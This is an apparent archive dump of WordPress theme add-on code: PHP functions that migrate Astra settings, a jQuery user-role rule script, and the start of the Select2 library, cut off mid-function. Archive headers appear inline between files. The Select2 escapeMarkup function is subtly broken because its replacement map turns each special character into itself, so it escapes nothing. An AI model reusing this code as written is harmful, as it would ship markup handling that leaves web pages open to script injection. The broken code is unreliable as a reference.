$theme_options['shop-toolbar-structure-with-hiddenset'] = array( 'results' => true, 'filters' => false, 'sorting' => true, 'easy_view' => false, ); } } else { if ( isset( $theme_options['shop-off-canvas-trigger-type'] ) && 'disable' !== $theme_options['shop-off-canvas-trigger-type'] && 'custom-class' !== $theme_options['shop-off-canvas-trigger-type'] ) { $theme_options['shop-toolbar-structure'] = array( 'filters', ); $theme_options['shop-toolbar-structure-with-hiddenset'] = array( 'filters' => true, 'results' => false, 'sorting' => false, 'easy_view' => false, ); } else { $theme_options['shop-toolbar-structure'] = array(); $theme_options['shop-toolbar-structure-with-hiddenset'] = array( 'results' => false, 'filters' => false, 'sorting' => false, 'easy_view' => false, ); } } update_option( 'astra-settings', $theme_options ); } } /** * Restrict direct changes on users end so make it filterable. * * @since 3.9.0 * @return void */ function astra_addon_apply_modern_ecommerce_setup() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['modern-ecommerce-setup'] ) ) { $theme_options['modern-ecommerce-setup'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Improve active/selected variant for WooCommerce single product. * * @since 3.9.3 * @return void */ function astra_addon_update_variant_active_state() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['can-update-variant-active-style'] ) ) { $theme_options['can-update-variant-active-style'] = false; update_option( 'astra-settings', $theme_options ); } } /** * Version 4.0.0 backward handle. * * 1. Migrating Post Structure & Meta options in title area meta parts. * 2. Migrate existing setting & do required onboarding for new admin dashboard v4.0.0 app. * * @since 4.0.0 * @return void */ function astra_addon_background_updater_4_0_0() { // Dynamic customizer migration setup starts here. $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['addon-dynamic-customizer-support'] ) ) { $theme_options['addon-dynamic-customizer-support'] = true; update_option( 'astra-settings', $theme_options ); } // Admin dashboard migration starts here. $admin_dashboard_settings = get_option( 'astra_admin_settings', array() ); if ( ! isset( $admin_dashboard_settings['addon-setup-admin-migrated'] ) ) { // Insert fallback whitelabel icon for agency users to maintain their branding. if ( is_multisite() ) { $branding = get_site_option( '_astra_ext_white_label' ); } else { $branding = get_option( '_astra_ext_white_label' ); } if ( ( isset( $branding['astra-agency']['hide_branding'] ) && true === (bool) $branding['astra-agency']['hide_branding'] ) && ! isset( $branding['astra']['icon'] ) ) { $branding['astra']['icon'] = ASTRA_EXT_URI . 'admin/core/assets/images/whitelabel-branding.svg'; if ( is_multisite() ) { update_site_option( '_astra_ext_white_label', $branding ); } else { update_option( '_astra_ext_white_label', $branding ); } } // Consider admin part from addon side migrated. $admin_dashboard_settings['addon-setup-admin-migrated'] = true; update_option( 'astra_admin_settings', $admin_dashboard_settings ); } } /** * Backward handle for 4.1.0 * * @since 4.1.0 * @return void */ function astra_addon_background_updater_4_1_0() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['single-product-add-to-cart-action'] ) && isset( $theme_options['single-product-ajax-add-to-cart'] ) ) { $theme_options['single-product-add-to-cart-action'] = 'rt_add_to_cart'; update_option( 'astra-settings', $theme_options ); } } /** * Improve sale badge background color option for WooCommerce catalog design 2. * * @since 4.1.6 * @return void */ function astra_addon_background_updater_4_1_6() { $theme_options = get_option( 'astra-settings', array() ); if ( ! isset( $theme_options['apply-modern-layout-sale-badge-styles'] ) ) { $theme_options['apply-modern-layout-sale-badge-styles'] = false; update_option( 'astra-settings', $theme_options ); } } modules/target-rule/user-role.js 0000666 00000004752 15165730730 0012745 0 ustar 00 ;(function ( $, window, undefined ) { var user_role_update_close_button = function(wrapper) { type = wrapper.closest('.ast-user-role-wrapper').attr('data-type'); rules = wrapper.find('.astra-user-role-condition'); show_close = false; if ( rules.length > 1 ) { show_close = true; } rules.each(function() { if ( show_close ) { jQuery(this).find('.user_role-condition-delete').removeClass('ast-hidden'); }else{ jQuery(this).find('.user_role-condition-delete').addClass('ast-hidden'); } }); }; $(document).ready(function($) { jQuery('.ast-user-role-selector-wrapper').each(function() { user_role_update_close_button( jQuery(this) ); }) jQuery( '.ast-user-role-selector-wrapper' ).on( 'click', '.user_role-add-rule-wrap a', function(e) { e.preventDefault(); e.stopPropagation(); var $this = jQuery( this ), id = $this.attr( 'data-rule-id' ), new_id = parseInt(id) + 1, rule_wrap = $this.closest('.ast-user-role-selector-wrapper').find('.user_role-builder-wrap'), template = wp.template( 'astra-user-role-condition' ), field_wrap = $this.closest('.ast-user-role-wrapper'); rule_wrap.append( template( { id : new_id } ) ); $this.attr( 'data-rule-id', new_id ); user_role_update_close_button( field_wrap ); }); jQuery( '.ast-user-role-selector-wrapper' ).on( 'click', '.user_role-condition-delete', function(e) { var $this = jQuery( this ), rule_condition = $this.closest('.astra-user-role-condition'), field_wrap = $this.closest('.ast-user-role-wrapper'); cnt = 0, data_type = field_wrap.attr( 'data-type' ), optionVal = $this.siblings('.user_role-condition-wrap').children('.user_role-condition').val(); rule_condition.remove(); field_wrap.find('.astra-user-role-condition').each(function(i) { var condition = jQuery( this ), old_rule_id = condition.attr('data-rule'), select_location = condition.find('.user_role-condition'), location_name = select_location.attr( 'name' ); condition.attr( 'data-rule', i ); select_location.attr( 'name', location_name.replace('['+old_rule_id+']', '['+i+']') ); condition.removeClass('ast-user-role-'+old_rule_id).addClass('ast-user-role-'+i); cnt = i; }); field_wrap.find('.user_role-add-rule-wrap a').attr( 'data-rule-id', cnt ) user_role_update_close_button( field_wrap ); }); }); }(jQuery, window)); modules/target-rule/select2.js 0000666 00000444111 15165730730 0012366 0 ustar 00 /*! * Select2 4.0.5 * https://select2.github.io * * Released under the MIT license * https://github.com/select2/select2/blob/master/LICENSE.md */ (function (factory) { /* Whenever you update select2 script please add astselect2 handler */ /* select2 handler changed to astselect2 */ var existingVersion = jQuery.fn.select2 || null; if (existingVersion) { delete jQuery.fn.select2; } if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS module.exports = function (root, jQuery) { if (jQuery === undefined) { // require('jQuery') returns a factory that requires window to // build a jQuery instance, we normalize how we use modules // that require this pattern but the window provided is a noop // if it's defined (how jquery works) if (typeof window !== 'undefined') { jQuery = require('jquery'); } else { jQuery = require('jquery')(root); } } factory(jQuery); return jQuery; }; } else { // Browser globals factory(jQuery); } jQuery.fn.astselect2 = jQuery.fn.select2; if (existingVersion) { delete jQuery.fn.select2; jQuery.fn.select2 = existingVersion; } /* select2 handler changed to astselect2 code end */ } (function (jQuery) { // This is needed so we can catch the AMD loader configuration and use it // The inner file should be wrapped (by `banner.start.js`) in a function that // returns the AMD loader references. var S2 =(function () { // Restore the Select2 AMD loader so it can be used // Needed mostly in the language files, where the loader is not inserted if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) { var S2 = jQuery.fn.select2.amd; } var S2;(function () { if (!S2 || !S2.requirejs) { if (!S2) { S2 = {}; } else { require = S2; } /** * @license almond 0.3.3 Copyright jQuery Foundation and other contributors. * Released under MIT license, http://github.com/requirejs/almond/LICENSE */ //Going sloppy to avoid 'use strict' string cost, but strict practices should //be followed. /*global setTimeout: false */ var requirejs, require, define; (function (undef) { var main, req, makeMap, handlers, defined = {}, waiting = {}, config = {}, defining = {}, hasOwn = Object.prototype.hasOwnProperty, aps = [].slice, jsSuffixRegExp = /\.js$/; function hasProp(obj, prop) { return hasOwn.call(obj, prop); } /** * Given a relative module name, like ./something, normalize it to * a real name that can be mapped to a path. * @param {String} name the relative name * @param {String} baseName a real name that the name arg is relative * to. * @returns {String} normalized name */ function normalize(name, baseName) { var nameParts, nameSegment, mapValue, foundMap, lastIndex, foundI, foundStarMap, starI, i, j, part, normalizedBaseParts, baseParts = baseName && baseName.split("/"), map = config.map, starMap = (map && map['*']) || {}; //Adjust any relative paths. if (name) { name = name.split('/'); lastIndex = name.length - 1; // If wanting node ID compatibility, strip .js from end // of IDs. Have to do this here, and not in nameToUrl // because node allows either .js or non .js to map // to same file. if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) { name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, ''); } // Starts with a '.' so need the baseName if (name[0].charAt(0) === '.' && baseParts) { //Convert baseName to array, and lop off the last part, //so that . matches that 'directory' and not name of the baseName's //module. For instance, baseName of 'one/two/three', maps to //'one/two/three.js', but we want the directory, 'one/two' for //this normalization. normalizedBaseParts = baseParts.slice(0, baseParts.length - 1); name = normalizedBaseParts.concat(name); } //start trimDots for (i = 0; i < name.length; i++) { part = name[i]; if (part === '.') { name.splice(i, 1); i -= 1; } else if (part === '..') { // If at the start, or previous value is still .., // keep them so that when converted to a path it may // still work when converted to a path, even though // as an ID it is less than ideal. In larger point // releases, may be better to just kick out an error. if (i === 0 || (i === 1 && name[2] === '..') || name[i - 1] === '..') { continue; } else if (i > 0) { name.splice(i - 1, 2); i -= 2; } } } //end trimDots name = name.join('/'); } //Apply map config if available. if ((baseParts || starMap) && map) { nameParts = name.split('/'); for (i = nameParts.length; i > 0; i -= 1) { nameSegment = nameParts.slice(0, i).join("/"); if (baseParts) { //Find the longest baseName segment match in the config. //So, do joins on the biggest to smallest lengths of baseParts. for (j = baseParts.length; j > 0; j -= 1) { mapValue = map[baseParts.slice(0, j).join('/')]; //baseName segment has config, find if it has one for //this name. if (mapValue) { mapValue = mapValue[nameSegment]; if (mapValue) { //Match, update name to the new value. foundMap = mapValue; foundI = i; break; } } } } if (foundMap) { break; } //Check for a star map match, but just hold on to it, //if there is a shorter segment match later in a matching //config, then favor over this star map. if (!foundStarMap && starMap && starMap[nameSegment]) { foundStarMap = starMap[nameSegment]; starI = i; } } if (!foundMap && foundStarMap) { foundMap = foundStarMap; foundI = starI; } if (foundMap) { nameParts.splice(0, foundI, foundMap); name = nameParts.join('/'); } } return name; } function makeRequire(relName, forceSync) { return function () { //A version of a require function that passes a moduleName //value for items that may need to //look up paths relative to the moduleName var args = aps.call(arguments, 0); //If first arg is not require('string'), and there is only //one arg, it is the array form without a callback. Insert //a null so that the following concat is correct. if (typeof args[0] !== 'string' && args.length === 1) { args.push(null); } return req.apply(undef, args.concat([relName, forceSync])); }; } function makeNormalize(relName) { return function (name) { return normalize(name, relName); }; } function makeLoad(depName) { return function (value) { defined[depName] = value; }; } function callDep(name) { if (hasProp(waiting, name)) { var args = waiting[name]; delete waiting[name]; defining[name] = true; main.apply(undef, args); } if (!hasProp(defined, name) && !hasProp(defining, name)) { throw new Error('No ' + name); } return defined[name]; } //Turns a plugin!resource to [plugin, resource] //with the plugin being undefined if the name //did not have a plugin prefix. function splitPrefix(name) { var prefix, index = name ? name.indexOf('!') : -1; if (index > -1) { prefix = name.substring(0, index); name = name.substring(index + 1, name.length); } return [prefix, name]; } //Creates a parts array for a relName where first part is plugin ID, //second part is resource ID. Assumes relName has already been normalized. function makeRelParts(relName) { return relName ? splitPrefix(relName) : []; } /** * Makes a name map, normalizing the name, and using a plugin * for normalization if necessary. Grabs a ref to plugin * too, as an optimization. */ makeMap = function (name, relParts) { var plugin, parts = splitPrefix(name), prefix = parts[0], relResourceName = relParts[1]; name = parts[1]; if (prefix) { prefix = normalize(prefix, relResourceName); plugin = callDep(prefix); } //Normalize according if (prefix) { if (plugin && plugin.normalize) { name = plugin.normalize(name, makeNormalize(relResourceName)); } else { name = normalize(name, relResourceName); } } else { name = normalize(name, relResourceName); parts = splitPrefix(name); prefix = parts[0]; name = parts[1]; if (prefix) { plugin = callDep(prefix); } } //Using ridiculous property names for space reasons return { f: prefix ? prefix + '!' + name : name, //fullName n: name, pr: prefix, p: plugin }; }; function makeConfig(name) { return function () { return (config && config.config && config.config[name]) || {}; }; } handlers = { require: function (name) { return makeRequire(name); }, exports: function (name) { var e = defined[name]; if (typeof e !== 'undefined') { return e; } else { return (defined[name] = {}); } }, module: function (name) { return { id: name, uri: '', exports: defined[name], config: makeConfig(name) }; } }; main = function (name, deps, callback, relName) { var cjsModule, depName, ret, map, i, relParts, args = [], callbackType = typeof callback, usingExports; //Use name if no relName relName = relName || name; relParts = makeRelParts(relName); //Call the callback to define the module, if necessary. if (callbackType === 'undefined' || callbackType === 'function') { //Pull out the defined dependencies and pass the ordered //values to the callback. //Default to [require, exports, module] if no deps deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps; for (i = 0; i < deps.length; i += 1) { map = makeMap(deps[i], relParts); depName = map.f; //Fast path CommonJS standard dependencies. if (depName === "require") { args[i] = handlers.require(name); } else if (depName === "exports") { //CommonJS module spec 1.1 args[i] = handlers.exports(name); usingExports = true; } else if (depName === "module") { //CommonJS module spec 1.1 cjsModule = args[i] = handlers.module(name); } else if (hasProp(defined, depName) || hasProp(waiting, depName) || hasProp(defining, depName)) { args[i] = callDep(depName); } else if (map.p) { map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {}); args[i] = defined[depName]; } else { throw new Error(name + ' missing ' + depName); } } ret = callback ? callback.apply(defined[name], args) : undefined; if (name) { //If setting exports via "module" is in play, //favor that over return value and exports. After that, //favor a non-undefined return value over exports use. if (cjsModule && cjsModule.exports !== undef && cjsModule.exports !== defined[name]) { defined[name] = cjsModule.exports; } else if (ret !== undef || !usingExports) { //Use the return value from the function. defined[name] = ret; } } } else if (name) { //May just be an object definition for the module. Only //worry about defining if have a module name. defined[name] = callback; } }; requirejs = require = req = function (deps, callback, relName, forceSync, alt) { if (typeof deps === "string") { if (handlers[deps]) { //callback in this case is really relName return handlers[deps](callback); } //Just return the module wanted. In this scenario, the //deps arg is the module name, and second arg (if passed) //is just the relName. //Normalize module name, if it contains . or .. return callDep(makeMap(deps, makeRelParts(callback)).f); } else if (!deps.splice) { //deps is a config object, not an array. config = deps; if (config.deps) { req(config.deps, config.callback); } if (!callback) { return; } if (callback.splice) { //callback is an array, which means it is a dependency list. //Adjust args if there are dependencies deps = callback; callback = relName; relName = null; } else { deps = undef; } } //Support require(['a']) callback = callback || function () {}; //If relName is a function, it is an errback handler, //so remove it. if (typeof relName === 'function') { relName = forceSync; forceSync = alt; } //Simulate async callback; if (forceSync) { main(undef, deps, callback, relName); } else { //Using a non-zero value because of concern for what old browsers //do, and latest browsers "upgrade" to 4 if lower value is used: //http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout: //If want a value immediately, use require('id') instead -- something //that works in almond on the global level, but not guaranteed and //unlikely to work in other AMD implementations. setTimeout(function () { main(undef, deps, callback, relName); }, 4); } return req; }; /** * Just drops the config on the floor, but returns req in case * the config return value is used. */ req.config = function (cfg) { return req(cfg); }; /** * Expose module registry for debugging and tooling */ requirejs._defined = defined; define = function (name, deps, callback) { if (typeof name !== 'string') { throw new Error('See almond README: incorrect module build, no module name'); } //This module may not have dependencies if (!deps.splice) { //deps is not an array, so probably means //an object literal or factory function for //the value. Adjust args. callback = deps; deps = []; } if (!hasProp(defined, name) && !hasProp(waiting, name)) { waiting[name] = [name, deps, callback]; } }; define.amd = { jQuery: true }; }()); S2.requirejs = requirejs;S2.require = require;S2.define = define; } }()); S2.define("almond", function(){}); /* global jQuery:false, $:false */ S2.define('jquery',[],function () { var _$ = jQuery || $; if (_$ == null && console && console.error) { console.error( 'Select2: An instance of jQuery or a jQuery-compatible library was not ' + 'found. Make sure that you are including jQuery before Select2 on your ' + 'web page.' ); } return _$; }); S2.define('select2/utils',[ 'jquery' ], function ($) { var Utils = {}; Utils.Extend = function (ChildClass, SuperClass) { var __hasProp = {}.hasOwnProperty; function BaseConstructor () { this.constructor = ChildClass; } for (var key in SuperClass) { if (__hasProp.call(SuperClass, key)) { ChildClass[key] = SuperClass[key]; } } BaseConstructor.prototype = SuperClass.prototype; ChildClass.prototype = new BaseConstructor(); ChildClass.__super__ = SuperClass.prototype; return ChildClass; }; function getMethods (theClass) { var proto = theClass.prototype; var methods = []; for (var methodName in proto) { var m = proto[methodName]; if (typeof m !== 'function') { continue; } if (methodName === 'constructor') { continue; } methods.push(methodName); } return methods; } Utils.Decorate = function (SuperClass, DecoratorClass) { var decoratedMethods = getMethods(DecoratorClass); var superMethods = getMethods(SuperClass); function DecoratedClass () { var unshift = Array.prototype.unshift; var argCount = DecoratorClass.prototype.constructor.length; var calledConstructor = SuperClass.prototype.constructor; if (argCount > 0) { unshift.call(arguments, SuperClass.prototype.constructor); calledConstructor = DecoratorClass.prototype.constructor; } calledConstructor.apply(this, arguments); } DecoratorClass.displayName = SuperClass.displayName; function ctr () { this.constructor = DecoratedClass; } DecoratedClass.prototype = new ctr(); for (var m = 0; m < superMethods.length; m++) { var superMethod = superMethods[m]; DecoratedClass.prototype[superMethod] = SuperClass.prototype[superMethod]; } var calledMethod = function (methodName) { // Stub out the original method if it's not decorating an actual method var originalMethod = function () {}; if (methodName in DecoratedClass.prototype) { originalMethod = DecoratedClass.prototype[methodName]; } var decoratedMethod = DecoratorClass.prototype[methodName]; return function () { var unshift = Array.prototype.unshift; unshift.call(arguments, originalMethod); return decoratedMethod.apply(this, arguments); }; }; for (var d = 0; d < decoratedMethods.length; d++) { var decoratedMethod = decoratedMethods[d]; DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod); } return DecoratedClass; }; var Observable = function () { this.listeners = {}; }; Observable.prototype.on = function (event, callback) { this.listeners = this.listeners || {}; if (event in this.listeners) { this.listeners[event].push(callback); } else { this.listeners[event] = [callback]; } }; Observable.prototype.trigger = function (event) { var slice = Array.prototype.slice; var params = slice.call(arguments, 1); this.listeners = this.listeners || {}; // Params should always come in as an array if (params == null) { params = []; } // If there are no arguments to the event, use a temporary object if (params.length === 0) { params.push({}); } // Set the `_type` of the first object to the event params[0]._type = event; if (event in this.listeners) { this.invoke(this.listeners[event], slice.call(arguments, 1)); } if ('*' in this.listeners) { this.invoke(this.listeners['*'], arguments); } }; Observable.prototype.invoke = function (listeners, params) { for (var i = 0, len = listeners.length; i < len; i++) { listeners[i].apply(this, params); } }; Utils.Observable = Observable; Utils.generateChars = function (length) { var chars = ''; for (var i = 0; i < length; i++) { var randomChar = Math.floor(Math.random() * 36); chars += randomChar.toString(36); } return chars; }; Utils.bind = function (func, context) { return function () { func.apply(context, arguments); }; }; Utils._convertData = function (data) { for (var originalKey in data) { var keys = originalKey.split('-'); var dataLevel = data; if (keys.length === 1) { continue; } for (var k = 0; k < keys.length; k++) { var key = keys[k]; // Lowercase the first letter // By default, dash-separated becomes camelCase key = key.substring(0, 1).toLowerCase() + key.substring(1); if (!(key in dataLevel)) { dataLevel[key] = {}; } if (k == keys.length - 1) { dataLevel[key] = data[originalKey]; } dataLevel = dataLevel[key]; } delete data[originalKey]; } return data; }; Utils.hasScroll = function (index, el) { // Adapted from the function created by @ShadowScripter // and adapted by @BillBarry on the Stack Exchange Code Review website. // The original code can be found at // http://codereview.stackexchange.com/q/13338 // and was designed to be used with the Sizzle selector engine. var $el = $(el); var overflowX = el.style.overflowX; var overflowY = el.style.overflowY; //Check both x and y declarations if (overflowX === overflowY && (overflowY === 'hidden' || overflowY === 'visible')) { return false; } if (overflowX === 'scroll' || overflowY === 'scroll') { return true; } return ($el.innerHeight() < el.scrollHeight || $el.innerWidth() < el.scrollWidth); }; Utils.escapeMarkup = function (markup) { var replaceMap = { '\\': '\', '&': '&', '<': '<', '>': '>', '"': '"', '\'': ''', '/': '/' }; // Do not try to escape the markup if it's not a string if (typeof markup !== 'string') { return markup; } // Regex to replace special characters with string. return String(markup).replace(/[&<>"'\/\\]/g, function (match) { return replaceMap[match]; }); }; Utils.entityDecode = function(html) { var txt = document.createElement("textarea"); txt.innerHTML = html; return txt.value; } // Append an array of jQuery nodes to a given element. Utils.appendMany = function ($element, $nodes) { // jQuery 1.7.x does not support $.fn.append() with an array // Fall back to a jQuery object collection using $.fn.add() if ($.fn.jquery.substr(0, 3) === '1.7') { var $jqNodes = $(); $.map($nodes, function (node) { $jqNodes = $jqNodes.add(node); }); $nodes = $jqNodes; } $element.append($nodes); }; return Utils; }); S2.define('select2/results',[ 'jquery', './utils' ], function ($, Utils) { function Results ($element, options, dataAdapter) { this.$element = $element; this.data = dataAdapter; this.options = options; Results.__super__.constructor.call(this); } Utils.Extend(Results, Utils.Observable); Results.prototype.render = function () { var $results = $( '<ul class="select2-results__options" role="tree"></ul>' ); if (this.options.get('multiple')) { $results.attr('aria-multiselectable', 'true'); } this.$results = $results; return $results; }; Results.prototype.clear = function () { this.$results.empty(); }; Results.prototype.displayMessage = function (params) { var escapeMarkup = this.options.get('escapeMarkup'); this.clear(); this.hideLoading(); var $message = $( '<li role="treeitem" aria-live="assertive"' + ' class="select2-results__option"></li>' ); var message = this.options.get('translations').get(params.message); $message.append( escapeMarkup( message(params.args) ) ); $message[0].className += ' select2-results__message'; this.$results.append($message); }; Results.prototype.hideMessages = function () { this.$results.find('.select2-results__message').remove(); }; Results.prototype.append = function (data) { this.hideLoading(); var $options = []; if (data.results == null || data.results.length === 0) { if (this.$results.children().length === 0) { this.trigger('results:message', { message: 'noResults' }); } return; } data.results = this.sort(data.results); for (var d = 0; d < data.results.length; d++) { var item = data.results[d]; var $option = this.option(item); $options.push($option); } this.$results.append($options); }; Results.prototype.position = function ($results, $dropdown) { var $resultsContainer = $dropdown.find('.select2-results'); $resultsContainer.append($results); }; Results.prototype.sort = function (data) { var sorter = this.options.get('sorter'); return sorter(data); }; Results.prototype.highlightFirstItem = function () { var $options = this.$results .find('.select2-results__option[aria-selected]'); var $selected = $options.filter('[aria-selected=true]'); // Check if there are any selected options if ($selected.length > 0) { // If there are selected options, highlight the first $selected.first().trigger('mouseenter'); } else { // If there are no selected options, highlight the first option // in the dropdown $options.first().trigger('mouseenter'); } this.ensureHighlightVisible(); }; Results.prototype.setClasses = function () { var self = this; this.data.current(function (selected) { var selectedIds = $.map(selected, function (s) { return s.id.toString(); }); var $options = self.$results .find('.select2-results__option[aria-selected]'); $options.each(function () { var $option = $(this); var item = $.data(this, 'data'); // id needs to be converted to a string when comparing var id = '' + item.id; if ((item.element != null && item.element.selected) || (item.element == null && $.inArray(id, selectedIds) > -1)) { $option.attr('aria-selected', 'true'); } else { $option.attr('aria-selected', 'false'); } }); }); }; Results.prototype.showLoading = function (params) { this.hideLoading(); var loadingMore = this.options.get('translations').get('searching'); var loading = { disabled: true, loading: true, text: loadingMore(params) }; var $loading = this.option(loading); $loading.className += ' loading-results'; this.$results.prepend($loading); }; Results.prototype.hideLoading = function () { this.$results.find('.loading-results').remove(); }; Results.prototype.option = function (data) { var option = document.createElement('li'); option.className = 'select2-results__option'; var attrs = { 'role': 'treeitem', 'aria-selected': 'false' }; if (data.disabled) { delete attrs['aria-selected']; attrs['aria-disabled'] = 'true'; } if (data.id == null) { delete attrs['aria-selected']; } if (data._resultId != null) { option.id = data._resultId; } if (data.title) { option.title = data.title; } if (data.children) { attrs.role = 'group'; attrs['aria-label'] = data.text; delete attrs['aria-selected']; } for (var attr in attrs) { var val = attrs[attr]; option.setAttribute(attr, val); } if (data.children) { var $option = $(option); var label = document.createElement('strong'); label.className = 'select2-results__group'; var $label = $(label); this.template(data, label); var $children = []; for (var c = 0; c < data.children.length; c++) { var child = data.children[c]; var $child = this.option(child); $children.push($child); } var $childrenContainer = $('<ul></ul>', { 'class': 'select2-results__options select2-results__options--nested' }); $childrenContainer.append($children); $option.append(label); $option.append($childrenContainer); } else { this.template(data, option); } $.data(option, 'data', data); return option; }; Results.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-results'; this.$results.attr('id', id); container.on('results:all', function (params) { self.clear(); self.append(params.data); if (container.isOpen()) { self.setClasses(); self.highlightFirstItem(); } }); container.on('results:append', function (params) { self.append(params.data); if (container.isOpen()) { self.setClasses(); } }); container.on('query', function (params) { self.hideMessages(); self.showLoading(params); }); container.on('select', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('unselect', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('open', function () { // When the dropdown is open, aria-expended="true" self.$results.attr('aria-expanded', 'true'); self.$results.attr('aria-hidden', 'false'); self.setClasses(); self.ensureHighlightVisible(); }); container.on('close', function () { // When the dropdown is closed, aria-expended="false" self.$results.attr('aria-expanded', 'false'); self.$results.attr('aria-hidden', 'true'); self.$results.removeAttr('aria-activedescendant'); }); container.on('results:toggle', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } $highlighted.trigger('mouseup'); }); container.on('results:select', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } var data = $highlighted.data('data'); if ($highlighted.attr('aria-selected') == 'true') { self.trigger('close', {}); } else { self.trigger('select', { data: data }); } }); container.on('results:previous', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); // If we are already at te top, don't move further if (currentIndex === 0) { return; } var nextIndex = currentIndex - 1; // If none are highlighted, highlight the first if ($highlighted.length === 0) { nextIndex = 0; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top; var nextTop = $next.offset().top; var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset); if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextTop - currentOffset < 0) { self.$results.scrollTop(nextOffset); } }); container.on('results:next', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var nextIndex = currentIndex + 1; // If we are at the last option, stay there if (nextIndex >= $options.length) { return; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var nextBottom = $next.offset().top + $next.outerHeight(false); var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset; if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextBottom > currentOffset) { self.$results.scrollTop(nextOffset); } }); container.on('results:focus', function (params) { params.element.addClass('select2-results__option--highlighted'); }); container.on('results:message', function (params) { self.displayMessage(params); }); if ($.fn.mousewheel) { this.$results.on('mousewheel', function (e) { var top = self.$results.scrollTop(); var bottom = self.$results.get(0).scrollHeight - top + e.deltaY; var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0; var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height(); if (isAtTop) { self.$results.scrollTop(0); e.preventDefault(); e.stopPropagation(); } else if (isAtBottom) { self.$results.scrollTop( self.$results.get(0).scrollHeight - self.$results.height() ); e.preventDefault(); e.stopPropagation(); } }); } this.$results.on('mouseup', '.select2-results__option[aria-selected]', function (evt) { var $this = $(this); var data = $this.data('data'); if ($this.attr('aria-selected') === 'true') { if (self.options.get('multiple')) { self.trigger('unselect', { originalEvent: evt, data: data }); } else { self.trigger('close', {}); } return; } self.trigger('select', { originalEvent: evt, data: data }); }); this.$results.on('mouseenter', '.select2-results__option[aria-selected]', function (evt) { var data = $(this).data('data'); self.getHighlightedResults() .removeClass('select2-results__option--highlighted'); self.trigger('results:focus', { data: data, element: $(this) }); }); }; Results.prototype.getHighlightedResults = function () { var $highlighted = this.$results .find('.select2-results__option--highlighted'); return $highlighted; }; Results.prototype.destroy = function () { this.$results.remove(); }; Results.prototype.ensureHighlightVisible = function () { var $highlighted = this.getHighlightedResults(); if ($highlighted.length === 0) { return; } var $options = this.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var currentOffset = this.$results.offset().top; var nextTop = $highlighted.offset().top; var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset); var offsetDelta = nextTop - currentOffset; nextOffset -= $highlighted.outerHeight(false) * 2; if (currentIndex <= 2) { this.$results.scrollTop(0); } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) { this.$results.scrollTop(nextOffset); } }; Results.prototype.template = function (result, container) { var template = this.options.get('templateResult'); var escapeMarkup = this.options.get('escapeMarkup'); var content = template(result, container); if (content == null) { container.style.display = 'none'; } else if (typeof content === 'string') { container.innerHTML = escapeMarkup(content); } else { $(container).append(content); } }; return Results; }); S2.define('select2/keys',[ ], function () { var KEYS = { BACKSPACE: 8, TAB: 9, ENTER: 13, SHIFT: 16, CTRL: 17, ALT: 18, ESC: 27, SPACE: 32, PAGE_UP: 33, PAGE_DOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40, DELETE: 46 }; return KEYS; }); S2.define('select2/selection/base',[ 'jquery', '../utils', '../keys' ], function ($, Utils, KEYS) { function BaseSelection ($element, options) { this.$element = $element; this.options = options; BaseSelection.__super__.constructor.call(this); } Utils.Extend(BaseSelection, Utils.Observable); BaseSelection.prototype.render = function () { var $selection = $( '<span class="select2-selection" role="combobox" ' + ' aria-haspopup="true" aria-expanded="false">' + '</span>' ); this._tabindex = 0; if (this.$element.data('old-tabindex') != null) { this._tabindex = this.$element.data('old-tabindex'); } else if (this.$element.attr('tabindex') != null) { this._tabindex = this.$element.attr('tabindex'); } $selection.attr('title', this.$element.attr('title')); $selection.attr('tabindex', this._tabindex); this.$selection = $selection; return $selection; }; BaseSelection.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-container'; var resultsId = container.id + '-results'; this.container = container; this.$selection.on('focus', function (evt) { self.trigger('focus', evt); }); this.$selection.on('blur', function (evt) { self._handleBlur(evt); }); this.$selection.on('keydown', function (evt) { self.trigger('keypress', evt); if (evt.which === KEYS.SPACE) { evt.preventDefault(); } }); container.on('results:focus', function (params) { self.$selection.attr('aria-activedescendant', params.data._resultId); }); container.on('selection:update', function (params) { self.update(params.data); }); container.on('open', function () { // When the dropdown is open, aria-expanded="true" self.$selection.attr('aria-expanded', 'true'); self.$selection.attr('aria-owns', resultsId); self._attachCloseHandler(container); }); container.on('close', function () { // When the dropdown is closed, aria-expanded="false" self.$selection.attr('aria-expanded', 'false'); self.$selection.removeAttr('aria-activedescendant'); 